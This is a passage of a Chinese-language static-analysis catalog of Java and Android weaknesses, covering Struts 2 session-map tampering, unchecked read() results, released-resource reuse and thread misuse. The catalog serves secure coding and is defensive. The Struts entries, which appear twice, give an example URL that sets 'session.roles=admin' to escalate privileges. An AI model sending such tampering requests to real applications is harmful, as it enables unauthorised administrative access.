[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 862
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Struts 2 Bad Practices: Request Map Tampering
ABSTRACT
Struts 2.x Action 实施类,使攻击者有机会通过将任意数据绑定到会话、应用程序或请求服务器端对象,修改应用程序的业务逻辑。
EXPLANATION
Apache Struts 2.x 包含新的 Aware 接口,允许开发人员使用相关运行时信息,轻松将映射注入到其 Actions 代码中。这些接口包括:org.apache.struts2.interceptor.ApplicationtAware、org.apache.struts2.interceptor.SessionAware 和 org.apache.struts2.interceptor.RequestAware。为了将这些数据映射中的任意内容注入到其 Actions 代码中,开发人员需要实现接口中指定的 setter(例如:setSession,适用于 SessionAware 接口):
1 | public class VulnerableAction extends ActionSupport implements SessionAware { |
另一方面,Struts 2.x 会自动通过 Action 中定义的 public accessors 将来自用户的请求数据绑定到 Action 的属性。由于 Aware 接口要求实现 Aware 接口中定义的 public setter,因此这一 setter 也将自动绑定到与 Aware 接口 setter 名称相匹配的任意请求参数,这可允许远程攻击者通过伪造的参数修改应用程序的运行时数据值,使其实现的接口受到影响,如 SessionAware、RequestAware、ApplicationAware 接口所示。
下面的 URL 将允许攻击者重写会话映射中的“roles”属性,这可能会使他成为管理员。
http://server/VulnerableAction?session.roles=admin
当这些接口仅要求实现 setter accessors 时,如果同时也实现相应的 getter,则对这些映射集合的更改将在会话范围内持续,而不是仅影响当前的请求范围。
RECOMMENDATIONS
Apache Struts 2.3.1.1 及较早版本易于受到此运行时数据操纵的攻击,因此应将框架库升级到最新的稳定版。 如果不可能,则受影响的接口也应实现 com.opensymphony.xwork2.interceptor.ParameterNameAware 接口,以排除危险的参数名称。
1 | public boolean acceptableParameterName(String parameterName) { |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 20
[2] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[3] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[4] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[5] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[6] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[7] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.2
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40)
Struts 2 Bad Practices: Session Map Tampering
ABSTRACT
Struts 2.x Action 实施类,使攻击者有机会通过将任意数据绑定到会话、应用程序或请求服务器端对象,修改应用程序的业务逻辑。
EXPLANATION
Apache Struts 2.x 包含新的 Aware 接口,允许开发人员使用相关运行时信息,轻松将映射注入到其 Actions 代码中。这些接口包括:org.apache.struts2.interceptor.ApplicationtAware、org.apache.struts2.interceptor.SessionAware 和 org.apache.struts2.interceptor.RequestAware。为了将这些数据映射中的任意内容注入到其 Actions 代码中,开发人员需要实现接口中指定的 setter(例如:setSession,适用于 SessionAware 接口):
1 | public class VulnerableAction extends ActionSupport implements SessionAware { |
另一方面,Struts 2.x 会自动通过 Action 中定义的 public accessors 将来自用户的请求数据绑定到 Action 的属性。由于 Aware 接口要求实现 Aware 接口中定义的 public setter,因此这一 setter 也将自动绑定到与 Aware 接口 setter 名称相匹配的任意请求参数,这可允许远程攻击者通过伪造的参数修改应用程序的运行时数据值,使其实现的接口受到影响,如 SessionAware、RequestAware、ApplicationAware 接口所示。
下面的 URL 将允许攻击者重写会话映射中的“roles”属性,这可能会使他成为管理员。
http://server/VulnerableAction?session.roles=admin
当这些接口仅要求实现 setter accessors 时,如果同时也实现相应的 getter,则对这些映射集合的更改将在会话范围内持续,而不是仅影响当前的请求范围。
RECOMMENDATIONS
Apache Struts 2.3.1.1 及较早版本易于受到此运行时数据操纵的攻击,因此应将框架库升级到最新的稳定版。 如果不可能,则受影响的接口也应实现 com.opensymphony.xwork2.interceptor.ParameterNameAware 接口,以排除危险的参数名称。
1 | public boolean acceptableParameterName(String parameterName) { |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 20
[2] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[3] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[4] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[5] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[6] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[7] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.2
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002150 CAT II, APSC-DV-002560 CAT I
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40)
Unchecked Return Value
ABSTRACT
忽略方法的返回值会导致程序无法发现意外状况和情况。
EXPLANATION
Java 程序员常常会误解包含在许多 java.io 类中的 read() 及相关方法。在 Java 结果中,将大部分错误和异常事件都作为异常抛出。(这是 Java 相对于 C 语言等编程语言的优势:各种异常更加便于程序员考虑是哪里出现了问题。)但是,如果只有少量的数据可用,stream 和 reader 类并不认为这是异常的情况。这些类只是将这些少量的数据添加到返回值缓冲区,并且将返回值设置为读取的字节或字符数。所以,并不能保证返回的数据量一定等于请求的数据量。
这样,程序员就需要检查 read() 和其他 IO 方法的返回值,以确保接收到期望的数据量。
示例:下列代码会在一组用户中进行循环,读取每个用户的私人数据文件。程序员假设这些文件总是正好 1000 字节,从而忽略了检查 read() 的返回值。如果攻击者能够创建一个较小的文件,程序就会重复利用前一个用户的剩余数据,并对这些数据进行处理,就像这些数据属于攻击者一样。
1 | FileInputStream fis; |
RECOMMENDATIONS
1 | FileInputStream fis; |
注:因为该问题的修复相当地复杂,您可能试图使用一个更简单的方法,例如在开始阅读前检查文件的大小。这种方法将导致应用程序容易受到文件系统 race condition 的攻击,凭借这个攻击者可以在文件大小检查和从文件调用读取数据之间使用恶意文件替换结构良好的文件。
REFERENCES
[1] EXP00-J. Do not ignore values returned by methods CERT
[2] FIO02-J. Detect and handle file-related errors CERT
[3] Standards Mapping - Common Weakness Enumeration CWE ID 252, CWE ID 754
[4] Standards Mapping - MISRA C 2012 Rule 17.7
[5] Standards Mapping - MISRA C++ 2008 Rule 0-1-7
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[7] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 754
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
代码质量
代码质量低会导致不可预知的行为。从用户角度来看,这种情况通常表现为可用性差。对于攻击者而言,它提供了以各种意想不到的方式为系统施压的机会。
Android Bad Practices: Use of Released Camera Resource
Android Bad Practices: Use of Released Media Resource
Android Bad Practices: Use of Released SQLite Resource
Code Correctness: Byte Array to String Conversion
Code Correctness: Call to Thread.run()
Code Correctness: Call to Thread.stop()
Code Correctness: Call to notify()
Code Correctness: Class Does Not Implement Cloneable
Code Correctness: Comparison of Boxed Primitive Types
Code Correctness: Comparison with NaN
Code Correctness: Constructor Invokes Overridable Function
Code Correctness: Erroneous Class Compare
Code Correctness: Erroneous Negative Value
Code Correctness: Erroneous String Compare
Code Correctness: Erroneous Zero Value
Code Correctness: Hidden Method
Code Correctness: Incorrect serialPersistentFields Modifier
Code Correctness: Invalid Call to Object.equals()
Code Correctness: Misleading Method Signature
Code Correctness: Non-Static Inner Class Implements Serializable
Code Correctness: Non-Synchronized Method Overrides Synchronized Method
Code Correctness: String Comparison of Float
Code Correctness: clone() Invokes Overridable Function
Code Correctness: null Argument to equals()
Code Correctness: readObject() Invokes Overridable Function
Dead Code: Empty Try Block
Dead Code: Expression is Always false
Dead Code: Expression is Always true
Dead Code: Unused Field
Dead Code: Unused Method
Null Dereference
Obsolete
Poor Style: Confusing Naming(class_and_member)
Poor Style: Confusing Naming(member_and_method)
Poor Style: Empty Synchronized Block
Poor Style: Identifier Contains Dollar Symbol ($)
Poor Style: Redundant Initialization
Poor Style: Value Never Read
Portability Flaw: File Separator
Portability Flaw: Locale Dependent Comparison
Portability Flaw: Native SQL
Race Condition: Class Initialization Cycle
Redundant Null Check
Unreleased Resource: Android Camera
Unreleased Resource: Android Media
Unreleased Resource: Android SQLite Database
Unreleased Resource: Database
Unreleased Resource: Files
Unreleased Resource: Sockets
Unreleased Resource: Streams
Unreleased Resource: Synchronization
Android Bad Practices: Use of Internal APIs
ABSTRACT
应用程序调用内部或隐藏的 API。
EXPLANATION
不建议开发人员使用未记录或隐藏的 API 构建其应用程序。 由于无法保证 Google 未来不会删除或更改这些 API,因此应避免使用它们,并且使用此类方法或字段具有破坏应用程序的较高风险。
RECOMMENDATIONS
请勿使用内部或隐藏的 API,而是坚持使用 SDK API。
REFERENCES
[1] Google Restrictions on non-SDK interfaces
Android Bad Practices: Use of Released Camera Resource
ABSTRACT
代码在 Camera 对象释放后对其进行了引用。
EXPLANATION
在 Camera 对象释放后,代码试图使用该对象。在未重新获取 Camera 对象的情况下任何对该资源的进一步引用都将抛出异常。如果未捕获该异常,可能会导致应用程序崩溃。
示例:以下代码使用切换按钮来打开和关闭照相机预览。用户轻按该按钮后,照相机预览停止,并释放照相机资源。但是,如果再按一次按钮,将调用之前释放的 Camera 对象中的 startPreview()。
1 | public class ReuseCameraActivity extends Activity { |
RECOMMENDATIONS
请在处理完 Camera 实例后再释放该对象,虽然也可以从 onPause()、onStop() 或 onDestroy() 中调用 release()。如果应用程序不打算长期使用照相机,最好(建议)等到下次使用时再调用 release()。应用程序可在使用照相机之前通过 create() 重新获取。
REFERENCES
[1] Camera, Android Developers
[2] Standards Mapping - Common Weakness Enumeration CWE ID 416
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[9] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[19] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[20] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Android Bad Practices: Use of Released Media Resource
ABSTRACT
代码在 Android 媒体对象释放后对其进行了引用。
EXPLANATION
在媒体对象释放后,代码试图使用该对象。在未重新获取媒体对象的情况下任何对该资源的进一步引用都将抛出异常。如果未捕获该异常,可能会导致应用程序崩溃。
示例:以下代码使用切换按钮来切换媒体播放。用户按此按钮后,当前歌曲或视频就会停止,并将释放照相机资源。但是,如果再按一次按钮,将调用之前释放的媒体资源中的 start()。
1 | public class ReuseMediaPlayerActivity extends Activity { |
RECOMMENDATIONS
请在处理完媒体实例后再释放该对象,虽然也可以从 onPause()、onStop(),或 onDestroy() 中调用 release()。如果应用程序不打算长期使用任何媒体功能,最好(建议)等到下次使用时再调用 release()。应用程序应在使用之前重新获取并再次准备媒体对象。
REFERENCES
[1] Media Player, Android Developers
[2] Audio Capture, Android Developers
[3] Standards Mapping - Common Weakness Enumeration CWE ID 416
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[10] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[20] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Android Bad Practices: Use of Released SQLite Resource
ABSTRACT
代码在 Android 数据库处理器释放后对其进行了引用。
EXPLANATION
当 Android SQLite 数据库处理器关闭后,代码仍试图使用它。在未重新建立数据库连接的情况下,对处理器的任何进一步引用都将抛出异常。如果未捕获该异常,可能会导致应用程序崩溃。
示例:以下代码可能来自将用户值暂时缓存在内存中,但可调用 flushUpdates() 将这些变化提交到磁盘中的程序。该方法会在将更新写入数据库后正确关闭数据库处理器。然而,当再次调用 flushUpdates() 时,数据库对象会在重新初始化之前被再次引用。
1 | public class ReuseDBActivity extends Activity { |
RECOMMENDATIONS
请在处理完数据库后再释放该对象,虽然也可以从 onPause()、onStop(),或 onDestroy() 中调用 close()。如果应用程序不打算长期使用数据库,最好(建议)等到下次使用时再调用 close()。应用程序可在使用数据库处理器之前进行重新获取。
REFERENCES
[1] Data Storage, Android Developers
[2] Standards Mapping - Common Weakness Enumeration CWE ID 416
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[9] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[19] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[20] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Code Correctness: Byte Array to String Conversion
ABSTRACT
将字节数组转换为 String 会导致数据丢失。
EXPLANATION
在将字节数组的数据转换为 String 后,没有说明适用字符集外的数据会发生何种变化。这会导致数据丢失,或者在需要二进制数据来确保执行正确的安全措施时,安全级别降低。
示例 1:以下代码将数据转换为字符串,以便创建散列值。
1 | ... |
如果文件的大小小于 BUFSIZE,只要 myFile 中的信息已编码为与默认字符集相同,此方式就会很有用。但是,如果使用不同的编码方式,或者为二进制文件,则信息将会丢失。进而导致生成的 SHA 散列值的可靠性降低,并且也将更容易产生冲突,在默认字符集外的数据由相同的值(如问号)表示时,尤其如此。
RECOMMENDATIONS
总体而言,应当永远不要将可能包含非字符数据的字节数组转换为 String 对象,因为这会破坏该代码的功能,且在某些情况下会造成更大的安全问题。事实上,很多情况下都不需要将字节数组转换为字符串,如果基于特定原因可以从二进制数据创建 String 对象,则必须先对其进行编码,使其适合于默认字符集。
示例 2:以下示例使用与示例 1 中不同的 API 变体来防止出现验证问题。
1 | ... |
在这种情况中,可以使用一种直接的方式进行纠正,因为此 API 具有过载的变体,且其中一个变体接受字节数组,即使之后使用 DigestUtils.sha256() 的另一个过载变体(此变体将 FileInputStream 对象接受为其参数),也可对其进行简化。对于其他情况,可能要仔细考虑字节数组是否包含字符集外的数据,并且可能需要进一步的修改。
REFERENCES
[1] STR03-J. Do not encode noncharacter data as a string CERT
[2] When ‘EFBFBD’ and Friends Come Knocking: Observations of Byte Array to String Conversions GDS Security
[3] Standards Mapping - Common Weakness Enumeration CWE ID 486
Code Correctness: Call to Thread.run()
ABSTRACT
程序调用线程的 run() 方法,以此替代 start()。
EXPLANATION
在多数情况下,直接调用 Thread 对象的 run() 方法会是一个 bug。程序员本想启用新的控制线程,却意外地调用了 run(),而不是 start(),因此,在调用者的控制线程中执行了 run() 方法。
例 1:以下代码摘自一个 Java 程序,其错误地调用了 run(),而没有调用 start()。
1 | Thread thr = new Thread() { |
RECOMMENDATIONS
在多数情况下,用调用 start() 来取代调用 run()。
例 2: 例 1 中的代码应该用以下方式重写:
1 | Thread thr = new Thread() { |
REFERENCES
[1] THI00-J. Do not invoke Thread.run() CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 572
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[6] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[16] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Code Correctness: Call to Thread.stop()
ABSTRACT
程序调用了线程的 stop() 方法,这可能会导致资源泄露。
EXPLANATION
在多数情况下,直接调用 Thread 对象的 stop() 方法会是一个 bug。程序员希望阻止线程运行,但是没有意识到这种阻止线程的方式并不合适。Thread 中的 stop() 函数会导致 Thread 对象中的任意位置出现 ThreadDeath 异常,这可能会导致对象出现不一致状态,并且会泄露资源。由于此 API 本质上并不安全,因此很久以前就已弃用。
示例 1:以下内容摘录自 Java 程序,其错误地调用了 Thread.stop()。
1 | ... |
RECOMMENDATIONS
依据不同的实施方式,该解决方法会有所不同,但可能意味着要等待线程终止、使用中断或使用可变的变量来指示是否应继续执行线程,或者结合这几种做法。
示例 2:示例 1 中的代码可以通过以下方式进行重新编写:
1 | ... |
此处我们指定了一个标记,以在线程中循环任务时始终执行检查。我们需要确保将标记指定为 volatile,或者必须确保同步变量访问,否则,该代码可能会导致循环的运行次数过多,或者在某些情况下导致其成为无限循环。
REFERENCES
[1] THI05-J. Do not use Thread.stop() to terminate threads CERT
[2] Why are Thread.stop, Thread.suspend, Thread.resume and Runtime.runFinalizersOnExit Deprecated? Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 572
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[7] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[17] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[18] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Code Correctness: Call to notify()
ABSTRACT
调用 notify() 时将唤醒哪个线程并不确定。
EXPLANATION
通过调用 notify() 无法指定将唤醒哪个线程。
例 1:在下列代码中,notifyJob() 调用 notify()。
1 | public synchronized notifyJob() { |
在这种情况下,开发人员希望唤醒调用 wait() 的线程,但是 notify() 可能会通知另外的线程。
RECOMMENDATIONS
使用 notifyAll() 而不是 notify()。除非您的应用程序高度并行且每个线程都执行类似的操作,否则不应使用 notify()。
例 2:在下列代码中,notifyJob() 调用 notifyAll()。
1 | public synchronized notifyJob() { |
此处对 notifyAll() 的调用可确保将会通知调用了 wait() 的线程。
REFERENCES
[1] Sun Microsystems, Inc. Java Sun Tutorial - Concurrency
[2] Sun Microsystems, Inc. Java Sun Tutorial - Concurrency
[3] THI02-J. Notify all waiting threads rather than a single thread CERT
[4] Standards Mapping - Common Weakness Enumeration CWE ID 373
Code Correctness: Class Does Not Implement Cloneable
ABSTRACT
这个类实现了 clone() 方法,但没有实现 Cloneable 接口。
EXPLANATION
程序员似乎原本想要这个类实现 Cloneable 接口,因为它已经实现了一个名称为 clone() 的方法。然而,该类并没有实现 Cloneable 接口,同时 clone() 方法也无法正常运行。
例 1:在这个类中,调用 clone() 方法将导致一个 CloneNotSupportedException. 异常
1 | public class Kibitzer { |
RECOMMENDATIONS
应同时实现 Cloneable 接口和 clone() 方法。
例 2: 例 1 中的代码应该用以下方式重写:
1 | public class Kibitzer implements Cloneable { |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 498
[2] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[3] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[5] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[15] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[16] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Code Correctness: Comparison of Boxed Primitive Types
ABSTRACT
如果使用相等运算符而非其 equals() 方法比较框式基元,可能会导致意外行为。
EXPLANATION
